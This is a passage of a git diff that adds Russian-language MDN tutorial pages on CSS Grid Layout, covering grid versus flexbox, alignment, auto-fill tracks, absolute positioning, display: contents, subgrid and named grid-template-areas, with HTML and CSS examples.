+ +

Те же яйца, вид в профиль: тот же макет, но с CSS гридами

+ +

В примере ниже мы создаем тот же самый макет, но используя гриды. На этот раз у нас три трека-колонки шириной в 1fr . И при этом нам не требуется задавать какие-либо свойства дочерним элементам, потому что они самостоятельно занимают по одной ячейке созданного грида. Как Вы видите, наши элементы лежат в жесткой сетке и выравниваются и по строке, и по колонке. Поскольку у нас пять элементов, в результате мы получаем пустую ячейку в конце второй строки. 

+ +
+ + +
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+}
+
+ +

{{ EmbedLiveSample('Two_Dimensional_With_Grid', '300', '170') }}

+
+ +

Если Вы колеблетесь, что выбрать - flexbox или грид, задайте себе простой вопрос:

+ +
    +
  • мне нужно управлять размещением элементов в строке или в колонке - окей, нужен flexbox
    • +
  • мне нужно управлять размещением элементов и в строке, и в колонке – окей, нужен грид
    • +
+ +

Что важнее: контент или макет?

+ +

В дополнение к различию между позиционированию в одном направлении и позиционированию в двух направлениях, существует еще один способ решить, нужен ли Вам макет, основанный на flexbox или макет, основанный на гридах. Flexbox работает исходя из размеров контента. Идеальный случай использования flexbox - когда у Вас есть набор элементов, а Вам нужно распределить их в контейнере равномерно. Вы позволяете размеру содержимого элементов решить, сколько пространства должен забрать каждый элемент. Если элементы переходят на новую строку, они забирают для себя пространство, исходя из своих размеров и того свободного места, которое есть в этой строке.

+ +

Грид работает, исходя из макета. Когда Вы используете CSS Grid Layout, Вы создаете структуру и затем размещаете элементы именно в этой структуре или же позволяете правилам авто-размещения разместить элементы в грид-ячейках в соответствии с жестко заданной сеткой. Конечно, существует возможность создавать треки, подстраивающиеся под размер контента, но при этом они также меняют саму структуру.

+ +

Поэтому, если Вы используете flexbox и вдруг обнаруживаете, что ограничиваете эластичность элементов, возможно, Вам нужно посмотреть в сторону CSS Grid Layout. Например, в том случае, если Вы процентами подгоняете ширину flex-элемента, чтобы выровнять его по элементам в строке сверху. В такой ситуации гриды кажутся более оптимальным выбором. 

+ +

Выравнивание блоков

+ +

Самой волнующей функциональностью flexbox для многих из нас была возможность впервые управлять выравниванием блоков. С помощью flexbox можно легко отцентрировать блок на странице. Флекс-элементы способны растягиваться на всю длину контейнера - значит, колонки равной высоты из мечты стали реальностью. Существовал целый ряд вещей, которые нам хотелось сделать очень давно, и для воплощения которых приходилось изобретать различные хаки.

+ +

Свойства выравнивания из спецификации flexbox были добавлены в новую спецификацию, названную Box Alignment Level 3. А это означает, что они могут использоваться и в других спецификациях, в том числе и в Grid Layout. 

+ +

Дальше в нашем руководстве мы подробно рассмотрим выравнивание блоков Box Alignment и то, как оно работает в Grid Layout, а здесь давайте рассмотрим два простых примера, и сравним flexbox и гриды.

+ +

В первом примере, использующем flexbox, у нас есть контейнер с тремя элементами. Для блока-обертки wrapper установлено свойство {{cssxref("min-height")}}, и оно задает высоту flex-контейнера. Мы установили свойство {{cssxref("align-items")}} flex-контейнера в значение flex-end , поэтому элементы выравниваются по концу flex-контейнера. Мы также установили значение свойства {{cssxref("align-self")}} для box1  таким образом, что оно перезапишет поведение по умолчанию и заставит наш блок растянутся на всю высоту контейнера. Для box2 свойство {{cssxref("align-self")}} установлено таким образом, что блок перепрыгнет в начало flex-контейнера.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+</div>
+
+ +
.wrapper {
+   display: flex;
+   align-items: flex-end;
+   min-height: 200px;
+}
+.box1 {
+   align-self: stretch;
+}
+.box2 {
+   align-self: flex-start;
+}
+
+ +

{{ EmbedLiveSample('Box_alignment', '300', '230') }}

+ +

Тем временем в параллельной вселенной: выравнивание в CSS Гридах

+ +

Второй пример использует грид, чтобы создать тот же самый макет, и на этот раз мы рассмотрим то, как свойства выравнивания блоков применяются к гридам. Вместо flex-start и flex-end мы задаем start и end . В случае с макетом на гридах мы выравниваем элементы внутри их грид-области, в данном примере - это одна единственная грид-ячейка, но в целом грид-область может состоять из нескольких грид-ячеек.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+</div>
+
+ +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3,1fr);
+   align-items: end;
+   grid-auto-rows: 200px;
+}.box1 {
+   align-self: stretch;
+}
+.box2 {
+   align-self: start;
+}
+
+ +

{{ EmbedLiveSample('Alignment_in_CSS_Grids', '200', '310') }}

+ +

Единица fr и flex-basis

+ +

Мы уже видели, как работает единица fr в случае пропорционального распределения доступного пространства между грид-треками в грид-контейнере.  При комбинировании fr с функцией {{cssxref("minmax", "minmax()")}} мы получаем поведение, очень похожее на свойство flex в flexbox - и при этом по-прежнему можем создавать макет в двумерной системе.

+ +

Если вернуться к примеру, демонстрирующему различия между одно-и двумерным позиционированиями, можно увидеть, что существует также и различие в самом способе того, как две техники работают с отзывчивыми макетами.  С макетом на flex, если мы уменьшаем или увеличиваем размер окна, flexbox аккуратно перераспределяет количество элементов в каждой строке в соответствии с доступным пространством. Так, если у нас достаточно места, чтобы разместить все пять наших элементов в одной строке, они и будут размещены в одной строке. Если же контейнер узкий, то в строке у нас будет место только для одного элемента.

+ +

В сравнении грид-версия всегда содержит три трека-колонки. Эти треки-колонки будут расширяться и сужаться, но их всегда будет три, раз мы запросили три при задании грида. 

+ +

Автозаполнение грид-треков

+ +

Можно создать эффект, похожий на поведение flexbox, и при этом по-прежнему держать контент в жесткой сетке из строк и колонок, если задать структуру треков, используя repeat-нотацию и свойства auto-fill и auto-fit.

+ +

В примере ниже мы используем ключевое слово auto-fill вместо целого числа в repeat-нотации и задаем структуру треков размером в 200 пикселей. Это значит, что грид создаст столько треков-колонок размером в 200 пикселей, сколько их может разместиться в контейнере.

+ + + +
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+</div>
+
+ +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(auto-fill, 200px);
+}
+
+ +

{{ EmbedLiveSample('Auto-filling_grid_tracks', '500', '170') }}

+ +

Переменное количество треков

+ +

Давайте вспомним пример с flexbox, когда элементы, размер которых больше 200 пикселей, переходят на новую строку. Тот же самый эффект в гридах мы можем получить комбинируя auto-fill и функцию {{cssxref("minmax", "minmax()")}}. В примере ниже мы создаем автозаполненные треки с помощью minmax. Мы хотим, чтобы треки были как минимум 200 пикселей в ширину, это наше минимальное значение, а для максимального зададим 1fr. В процессе, когда браузер вычисляет, сколько блоков в 200 пикселей может разместиться в контейнере - при этом учитывая грид-зазоры - он расценивает максимум 1fr как инструкцию распределить оставшееся свободное пространство между этими блоками.

+ + + +
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+</div>
+
+ +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+
+ +

{{ EmbedLiveSample('A_flexible_number_of_tracks', '500', '170') }}

+ +

Собственно, теперь у нас есть возможность создавать гриды с переменным количеством или с переменным размером треков и при этом по-прежнему держать элементы в жесткой сетке из строк и колонок.

+ +

Гриды и абсолютно позиционированные элементы

+ +

Грид взаимодействует с абсолютно позиционированными элементами, что отнюдь не бесполезно, если Вы хотите разместить элемент внутри грида или грид-области. В спецификации описано поведение грида и тогда, когда грид-контейнер является контейнерным блоком (containing block) и тогда, когда грид-контейнер - родительский элемент для абсолютно позиционированного элемента.

+ +

Грид-контейнер как контейнерный блок

+ +

Для того, чтобы превратить грид-контейнер в контейнерный блок Вам нужно добавить ему свойство position со значением relative. Если после этого задать какому-нибудь грид-элементу position: absolute , грид-контейнер станет контейнерным блоком для данного элемента.

+ +

В примере ниже у нас есть блок-обертка с четырьмя дочерними элементами. Третий элемент абсолютно позиционирован и одновременно размещен в гриде с помощью привязки к грид-линиям. У грид-контейнера position: relative , поэтому он становится контекстом позиционирования для нашего третьего элемента.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">
+    Этот блок абсолютно позиционирован.
+В нашем примере грид-контейнер является контейнерным блоком, поэтому значения сдвига абсолютного позиционирования отсчитываются от внешнего края той области, в которой размещен элемент.
+   </div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(4,1fr);
+   grid-auto-rows: 200px;
+   grid-gap: 20px;
+   position: relative;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   position: absolute;
+   top: 40px;
+   left: 40px;
+}
+
+ +

{{ EmbedLiveSample('A_grid_container_as_containing_block', '500', '330') }}

+ +

Вы видите, что наш элемент занимает область от колоночной грид-линии 2 до колоночной грид-линии 4 и начинается после строчной линии 1. С помощью свойств left и top мы сдвигаем его относительно этой области. В то же время, он изымается из потока так же, как и любой другой элемент с абсолютным позиционированием, поэтому правила авторазмещения теперь помещают другие элементы на его место. Абсолютное позиционирование нашего элемент также не приводит к появлению новой строки.

+ +

Попробуйте удалитьposition: absolute из правил для .box3 , и увидете, как он размещался бы без абсолютного позиционирования.

+ +

Грид-контейнер в качестве родительского элемента

+ +

Если у абсолютно позиционированного элемента в качестве родительского контейнера выступает грид, не создающий новый контекст позиционирования, наш элемент также вытаскивается из потока, как и в предыдущем примере. Но в этом случае контекстом позиционирования будет любой элемент, который как раз и создает этот контекст позиционирования. Словом, если в нашем примере мы уберем position: relative из блока-обертки, контекстом позиционирования станет область просмотра, что хорошо видно на рисунке ниже.

+ +

Image of grid container as parent

+ +

Еще раз: наш элемент больше не занимает пространство в грид-макете и не влияет на то, как располагаются другие элементы при авторазмещении.

+ +

А что если родительский элемент - это грид-область?

+ +

Если абсолютно позиционированный элемент находится в грид-области, Вы можете создать контекст позиционирования из этой области. В примере ниже у нас тот же грид-макет, что и раньше, но теперь мы разместили элемент внутри .box3 .

+ +

Задаем .box3 свойство position в значении relative и затем перемещаем наш под-элемент с помощью свойств сдвига.  В данном случае контекстом позиционирования является грид-область.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three
+       <div class="abspos">
+        Этот блок абсолютно позиционирован. В данном примере контекстом позиционирования являетсягрид-область, поэтому значения сдвига отсчитываются от внешних краев грид-области.
+       </div>
+   </div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(4,1fr);
+   grid-auto-rows: 200px;
+   grid-gap: 20px;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   position: relative;
+}
+.abspos {
+   position: absolute;
+   top: 40px;
+   left: 40px;
+   background-color: rgba(255,255,255,.5);
+   border: 1px solid rgba(0,0,0,0.5);
+   color: #000;
+   padding: 10px;
+}
+
+ +

{{ EmbedLiveSample('With_a_grid_area_as_the_parent', '500', '420') }}

+ +

Грид и display: contents

+ +

Последнее, о чем нужно упомянуть, говоря о взаимодействии гридов с другими спецификациями, касающимися позиционирования элементов, - это взаимодействие между CSS Grid Layout и display: contents. Значение contents свойства display - новое свойство CSS, которое описывается в спецификации Display следующим образом:

+ +
+

“Сам элемент не генерирует никаких блоков (боксов), но его дочерние элементы и его псевдо-элементы по-прежнему генерируют блоки, в установленном порядке. Относительно генерации и позиционирования блоков элемент должен восприниматься так, как если бы он полностью замещался своими дочерними элементами и псевдо-элементами в дереве документа.”

+
+ +

Если Вы пишете для элемента  display: contents , блок (бокс), который он должен создать в дереве документа исчезает, а вот блоки его дочерних элементов и его псевдо-элементов переходят на один уровень вверх. А значит это то, что дочерние элементы грид-элемента могут сами стать грид-элементами. Звучит непонятно? Давайте разберемся на простом примере. В разметке ниже у нас есть грид. Первый элемент этого грида настроен так, чтобы занимать все три трека-колонки. У него есть три вложенных элемента. Поскольку эти вложенные элементы не являются прямыми потомками грида, они не становятся частью грид-макета и отображаются, как обычные блоки.

+ +
+ + +
<div class="wrapper">
+   <div class="box box1">
+       <div class="nested">a</div>
+       <div class="nested">b</div>
+       <div class="nested">c</div>
+   </div>
+   <div class="box box2">Two</div>
+   <div class="box box3">Three</div>
+   <div class="box box4">Four</div>
+   <div class="box box5">Five</div>
+</div>
+
+ +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+}
+
+
+ +

{{ EmbedLiveSample('Display_Contents_Before', '400', '420') }}

+
+ +

Если мы теперь добавим правило display: contents для  box1, блок этого бокса исчезнет, зато дочерние элементы станут грид-элементами и будут расположены в соответствии с правилами авторазмещения.

+ +
+ + +
<div class="wrapper">
+   <div class="box box1">
+       <div class="nested">a</div>
+       <div class="nested">b</div>
+       <div class="nested">c</div>
+   </div>
+   <div class="box box2">Two</div>
+   <div class="box box3">Three</div>
+   <div class="box box4">Four</div>
+   <div class="box box5">Five</div>
+</div>
+
+ +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   display: contents;
+}
+
+ +

{{ EmbedLiveSample('Display_Contents_After', '400', '330') }}

+
+ +

Таким образом мы можем заставить вложенные элементы вести себя, словно они часть грида (и в некотором смысле имитация того поведения, которое должны будут реализовать подгриды (subgrids), когда руки разработчиков браузеров до них доберутся). Точно так же можно использовать display: contents с flexbox, чтобы вложенные элементы становились flex-элементами.

+ +

UPD: На 04.02.2018 главная проблема с display: contents в том, что "редкий браузер долетел до середины Днепра", поддержка у свойства - отсутствует. Следите за обновлениями https://caniuse.com/#feat=css-display-contents

+ +

Как Вы могли увидеть, CSS Grid Layout - это часть Вашего инструментария. Не бойтесь смешивать его с другими методами создания макетов, чтобы получить различные эффекты. И не переключайтесь, дальше будет много интересного.

+ + diff --git a/files/ru/web/css/css_grid_layout/subgrid/index.html b/files/ru/web/css/css_grid_layout/subgrid/index.html new file mode 100644 index 0000000000..f3e0b898d1 --- /dev/null +++ b/files/ru/web/css/css_grid_layout/subgrid/index.html @@ -0,0 +1,115 @@ +--- +title: Subgrid +slug: Web/CSS/CSS_Grid_Layout/Subgrid +translation_of: Web/CSS/CSS_Grid_Layout/Subgrid +--- +

{{CSSRef}}

+ +

2 уровень спецификации CSS Grid включает в себя значение subgrid для свойств grid-template-columns и grid-template-rows. Это руководство содержит описание принципа работы subgrid и показывает некоторые примеры использования этой функции.

+ +
+

Важно: Эта функция поставляется с Firefox 71, являющимся в данный момент единственным браузером, в котором реализован subgrid.

+
+ +

Введение в subgrid

+ +

При добавлении grid-контейнеру объявления display: grid, только непосредственно дочерние элементы становятся grid-элементами и могут быть помещены в созданную сетку. А дети этих grid-элементов отображаются уже в обычном потоке.

+ +

Вы можете "вкладывать" сетки, делая grid-элементы grid-контейнерами. Эти вложенные сетки, однако, не зависят от родителя и друг от друга, а это значит, что они не берут размер своих треков из родительской сетки. Это затрудняет выстраивание элементов вложенных сеток в соответствии с основной.

+ +

Если вы устанавливаете значение subgrid для свойства grid-template-columns, grid-template-rows, или для обоих, вместо создания новых треков, вложенная сетка использует треки, определённые для родителя.

+ +

Например, если вы используете grid-template-columns: subgrid и вложенная сетка охватывает три колоночных трека родителя, её треки будут такого же размера, как и у родительской сетки. Промежутки (gap) наследуются, но могут быть переопределены другими значениями. Имена линий могут быть переданы от родителя в subgrid, но можно объявить также и свои собственные.

+ +

Subgrid для колонок

+ +

В примере ниже приведена сетка с девятью колонками шириной 1fr, и четырьмя строками высотой минимум 100px. 

+ +

Я изменяю позиционирование элемента с классом .item от 2 к 7 линии колонки и от 2 к 4 линии строки. После чего превращаю этот grid-элемент в grid-контейнер, определяя колоночные треки как subgrid, а строки оставляя обычными. Поскольку данный элемент охватывает пять колоночных треков, то и subgrid имеет пять колоночных треков. Затем я могу поместить на сетку элемент .subitem.

+ +

Строки в примере не являются subgrid, поэтому ведут себя как у обычной вложенной сетки. Grid-область родителя расширяется, чтобы стать достаточно большой для этой вложенной сетки.

+ +

{{EmbedGHLiveSample("css-examples/grid/subgrid/columns.html", '100%', 1200)}}

+ +

Обратите внимание, что внутри subgrid нумерация линий не наследуется от родителя, а начинается по новой – колоночная линия 1 внутри subgrid всегда является его начальной линией. Это значит, что вы можете безопасно добавить компонент, который может быть помещен в разных позициях на главной сетке, зная, что номера линий внутри компонента всегда будут оставаться одинаковыми.

+ +

Subgrid для строк

+ +

Следующий пример повторяет предыдущий, только в этот раз мы используем subgrid как значение свойства grid-template-rows и явно определяем колоночные треки. Таким образом, колоночный трек ведёт себя как обычная вложенная сетка, но строки привязаны к двум трекам, которые охватывает дочерний элемент.

+ +

{{EmbedGHLiveSample("css-examples/grid/subgrid/rows.html", '100%', 1200)}}

+ +

Subgrid в обоих измерениях

+ +

Конечно, вы можете определить и строки и колонки как subgrid, как в примере ниже. Это значит, что ваш subgrid в обоих измерениях привязан к количеству треков родителя.

+ +

{{EmbedGHLiveSample("css-examples/grid/subgrid/both.html", '100%', 1200)}}

+ +

В subgrid-измерении отсутствует неявная сетка

+ +

Если вам нужно автоматическое размещение элементов и неизвестно их будущее количество, будьте внимательны при создании subgrid, поскольку это заблокирует функцию создания дополнительных строк для размещения этих элементов.

+ +

Взгляните на следующий пример – в нём используется такая же родительская и дочерняя сетка, как в примере выше, однако внутри subgrid присутствует двенадцать элементов, пытающихся автоматически разместиться в десяти grid-ячейках. Так как subgrid задан в обоих измерениях, двум дополнительным элементам некуда деться, поэтому они размещаются в последнем треке сетки, что и определено спецификацией.

+ +

{{EmbedGHLiveSample("css-examples/grid/subgrid/no-implicit.html", '100%', 1200)}}

+ +

Если удалить значение свойства grid-template-rows, мы включим обычное создание неявных треков и, хотя они не выстроятся по сетке родителя, будет создано столько треков, сколько потребуется.

+ +

{{EmbedGHLiveSample("css-examples/grid/subgrid/implicit.html", '100%', 1200)}}

+ +

Subgrid и свойства gap

+ +

Если у родителя задан gap, column-gap или row-gap, это будет передано и в subgrid, поэтому он будет иметь такие же промежутки между треками, как и родитель. Тем не менее, в определённых ситуациях вы можете захотеть, чтобы промежутки между треками в subgrid отличались или отсутствовали вовсе. Этого можно достичь, определяя свойства gap–* непосредственно в subgrid.

+ +

Вы можете видеть это в примере ниже. Родительский grid имеет промежутки 20px для строк и колонок. Subgrid имеет row-gap со значением 0.

+ +

{{EmbedGHLiveSample("css-examples/grid/subgrid/gap.html", '100%', 1200)}}

+ +

Если вы откроете Firefox Grid Inspector, сможете увидеть, как линия сетки находится в правильном месте по центру промежутка, поэтому когда мы устанавливаем gap = 0, он действует аналогично применению отрицательного margin для элемента, создавая пространство от промежутка обратно до элемента.

+ +

The smaller item displays in the gap as row-gap is set to 0 on the subgrid.

+ +

Именованные grid-линии

+ +

При использовании CSS Grid, вы можете именовать линии сетки и затем позиционировать элементы, используя эти имена, а не номера линий. Имена линий у родительской сетки передаются в subgrid, что позволяет с их помощью позиционировать элементы. В примере ниже я назвала линии родителя col-start и col-end и затем использовала их для размещения элементов subgrid..

+ +

{{EmbedGHLiveSample("css-examples/grid/subgrid/line-names.html", '100%', 1200)}}

+ +

Также можно указывать имена линий для subgrid. Это достигается путём добавления списка имён линий, заключённого в квадратные скобки после ключевого слова subgrid. Если в subgrid имеется четыре линии, для именования их всех достаточно использовать синтаксис grid-template-columns: subgrid [line1] [line2] [line3] [line4].

+ +

Имена линий, указанные в subgrid, добавляются к любым линиям, указанным в родительском элементе, поэтому можно использовать одно из этих названий или оба. Чтобы продемонстрировать это, в примере ниже я расположила один элемент, используя линии родителя, а другой – используя линии subgrid

+ +


+ {{EmbedGHLiveSample("css-examples/grid/subgrid/adding-line-names.html", '100%', 1200)}}

+ +

Использование subgrid

+ +

Не считая необходимости следить за элементами, которые могут не поместиться при автоматическом размещении, subgrid работает аналогично любой вложенной сетке; единственное отличие заключается в том, что размер трека у subgrid задаётся в родительской сетке. Однако, как и в случае с любой вложенной сеткой, размер содержимого в subgrid может изменить размер трека, если конечно содержимому позволено влиять на размер.

+ +

Поскольку значение subgrid во многом работает так же, как и обычная вложенная сетка, между ними достаточно легко переключаться. Например, если вы понимаете, что нужна неявная сетка для строк, всё что нужно сделать, удалить значение subgrid для свойства grid-template-rows и, возможно, задать значение свойству grid-auto-rows для контроля размера неявных треков.

+ +

Смотрите также

+ + + +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Grid 2")}}{{Spec2("CSS Grid 2")}}Изначальнео определение subgrids.
diff --git "a/files/ru/web/css/css_grid_layout/\320\263\321\200\320\270\320\264-\320\276\320\261\320\273\320\260\321\201\321\202\320\270/index.html" "b/files/ru/web/css/css_grid_layout/\320\263\321\200\320\270\320\264-\320\276\320\261\320\273\320\260\321\201\321\202\320\270/index.html" new file mode 100644 index 0000000000..6d2d3b6892 --- /dev/null +++ "b/files/ru/web/css/css_grid_layout/\320\263\321\200\320\270\320\264-\320\276\320\261\320\273\320\260\321\201\321\202\320\270/index.html" @@ -0,0 +1,529 @@ +--- +title: Шаблоны грид-областей +slug: Web/CSS/CSS_Grid_Layout/Грид-области +translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas +--- +

В предыдущем обзоре мы рассмотрели грид-линии и то, как с их помощью размещать элементы в гридах. Когда Вы работаете с CSS Grid Layout, у Вас всегда есть грид-линии, поэтому они - быстрый, прямой и надежный способ расположить элементы. Как бы то ни было, существует альтернативный метод, и этот метод можно использовать как в одиночку, так и в сочетании с расположением элементов по грид-линиям. В этом методе элементы располагаются с помощью именнованных, заранее определенных грид-областей. Давайте рассмотрим, как он работает, и Вы скоро поймете, почему его называют методом ascii-искусства в концепции макетов на гридах!

+ +

Имя для грид-области

+ +

Вы уже знакомы со свойством {{cssxref("grid-area")}}. Это то свойство, которое принимает в качестве значения номера четырех грид-линий, определяющих расположение грид-области.

+ +
.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+
+ +

Что мы делаем, когда задаем все четыре значения? Мы определяем область, ограниченную данными грид-линиями. 

+ +

The Grid Area defined by lines

+ +

Другой способ определить грид-область, - задать ей имя и определить местоположение как значения свойства {{cssxref("grid-template-areas")}}. Вы можете выбрать для грид-области любое имя. Например, если нам нужно создать макет согласно картинке ниже, мы можем назвать четыре основных области следующим образом:

+ +
    +
  • header
    • +
  • footer
    • +
  • sidebar
    • +
  • основное содержимое content
    • +
+ +

An image showing a simple two column layout with header and footer

+ +

С помощью свойства {{cssxref("grid-area")}} мы можем назначить каждой из этих областей свое собственное имя. Именование областей еще не создает никакого макета, однако теперь у нас есть именнованные области, которые мы можем в нем использовать.

+ +
+
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+ +

Определив имена, мы можем приступить к созданию макета. На этот раз вместо того, чтобы расположить элементы с помощью номеров линий, заданных для самих элементов, мы создаем весь макет в грид-контейнере.

+ +
.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+
+ + + +

 

+ +
<div class="wrapper">
+    <div class="header">Header</div>
+    <div class="sidebar">Sidebar</div>
+    <div class="content">Content</div>
+    <div class="footer">Footer</div>
+</div>
+ +

{{ EmbedLiveSample('Grid_Area_1', '300', '330') }}

+
+ +

Если мы используем этот метод, то нам не нужно задавать что-то отдельно для грид-элементов, все задается для грид-контейнера. Весь макет описывается значением свойства {{cssxref("grid-template-areas")}}.

+ +

Оставляем ячейку пустой

+ +

В данном примере мы полностью заполнили грид областями и не оставили пустого пространства. Однако, наш метод также позволяет оставлять грид-ячейки пустыми. Чтобы сделать это воспользуйтесь символом точки, '.'. Если нам нужно отображать футер только под основным содержимым страницы, значит, мы должны оставить три ячейки под сайдбаром пустыми.

+ +
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+ + + +
.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      ".  .  .  ft   ft   ft   ft   ft   ft";
+}
+
+ +
<div class="wrapper">
+    <div class="header">Header</div>
+    <div class="sidebar">Sidebar</div>
+    <div class="content">Content</div>
+    <div class="footer">Footer</div>
+</div>
+ +

{{ EmbedLiveSample('Leaving_a_grid_cell_empty', '300', '330') }}

+ +

Чтобы сделать наш макет чище, мы можем использовать множество символов .. Если между точками нет пробелов, то они считаются одной ячейкой. В комплексных макетах подобная возможность помогает аккуратно выравнивать строки и колонки. То есть, Вы прямо в CSS можете видеть, как выглядит Ваш макет.

+ +

Охватываем несколько ячеек

+ +

В нашем примере каждая из областей охватывает несколько грид-ячеек, и получаем мы подобный эффект за счет того, что через пробел повторяем имя этой грид-области несколько раз. Вы можете добавить дополнительные пробелы, чтобы аккуратно выравнять значения в grid-template-areas. В нашем примере мы пробелами подравняли hd и ft , чтобы они коррелировали с  main.

+ +

Область, которую мы создаем подобными цепочками имен, должна быть прямоугольной. На данном этапе нельзя создать L-образную область. В спецификации говорится, что, возможно, в будущем подобная функциональность добавится. А сейчас мы можем охватывать строки так же легко, как и колонки. Например, давайте сделаем так, чтобы наш сайдбар простирался до конца футера. Для этого поменяем . на sd.

+ +
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+ + + +
.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "sd sd sd  ft  ft   ft   ft   ft   ft";
+}
+
+ + + +

{{ EmbedLiveSample('Spanning_multiple_cells', '300', '330') }}

+ +

Значение {{cssxref("grid-template-areas")}} должно отображать законченный грид, а иначе оно невалидно (и игнорируется!). Это значит, что у Вас должно быть одинаковое количество ячеек в каждой строке, а если какая-то ячейка должна быть пустой, то вместо имени в ней должна быть точка. Грид будет также невалидным, если области в нем не прямоугольные.

+ +

Переопределение грида с медиа-запросами

+ +

Поскольку наш макет теперь содержится в одной части CSS, вносить изменения для различных контрольных точек (breakpoints) становится крайне легко. Сделать это можно либо переопределив сам грид, либо положение элементов на гриде, либо и то, и другое одновеременно.

+ +

При этом определяйте имена для ваших грид-областей за пределами медиа-запросов. В таком случае, область основного содержимого (content) всегда будет называться main независимо от того, где она находится на сетке.

+ +

Мы можем теперь изменить наш макет для узкой ширины экрана на более простой, где все грид-области будут друг над другом в одном столбце.

+ + + +
.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+.wrapper {
+    display: grid;
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-columns: 1fr;
+    grid-template-areas:
+      "hd"
+      "main"
+      "sd"
+      "ft";
+}
+
+ +

Внутри медиа-запросов, мы переопределяем этот макет на двухколонный, а при увеличении свободного пространства, на трехколонный. Обратите внимание, что для широкого макета я оставляю свою девятиколонную трековую сетку, а с помощью grid-template-areas я указываю куда стоит разместить грид-области. 

+ +
@media (min-width: 500px) {
+    .wrapper {
+        grid-template-columns: repeat(9, 1fr);
+        grid-template-areas:
+          "hd hd hd hd   hd   hd   hd   hd   hd"
+          "sd sd sd main main main main main main"
+          "sd sd sd  ft  ft   ft   ft   ft   ft";
+    }
+}
+@media (min-width: 700px) {
+    .wrapper {
+        grid-template-areas:
+          "hd hd hd   hd   hd   hd   hd   hd hd"
+          "sd sd main main main main main ft ft";
+    }
+}
+
+ + + +

{{ EmbedLiveSample('Redefining_the_grid_using_media_queries', '550', '330') }}

+ +

Использование grid-template-areas для элементов UI

+ +

Многие из примеров grid, которые вы найдете в Интернете, предполагают, что вы будете использовать grid для макета главной страницы, однако grid может быть столь же полезна для небольших элементов. Использование {{cssxref ("grid-template-areas")}} может быть особенно приятным, так как в коде легко видеть, как выглядит ваш элемент.

+ +

В качестве очень простого примера мы можем создать «медиа-объект». Это компонент с пространством для изображения или другого носителя с одной стороны, а контент - с другой. Изображение может отображаться справа или слева от окна.

+ +

Images showing an example media object design

+ +

Наша сетка представляет собой двухколоночную трековую сетку, со столбцом для изображения размером 1fr и текстом 3fr. Если вы хотите область с фиксированной шириной изображения, тогда вы можете установить столбец изображения как ширину пикселя и назначить текстовую область 1fr. Одна колонка трека 1fr затем займет оставшуюся часть пространства.

+ +

Мы предоставляем области изображения имя области сетки img и содержимое текстовой области, затем мы можем выложить их, используя свойство grid-template-areas.

+ +
+
* {box-sizing: border-box;}
+
+.media {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 400px;
+}
+.media {
+    display: grid;
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas: "img content";
+    margin-bottom: 1em;
+}
+
+.media .image {
+    grid-area: img;
+    background-color: #ffd8a8;
+}
+
+.media .text {
+    grid-area: content;
+    padding: 10px;
+
+}
+
+ +
<div class="media">
+    <div class="image"></div>
+    <div class="text">This is a media object example.
+      We can use grid-template-areas to switch around the image and text part of the media object.
+    </div>
+</div>
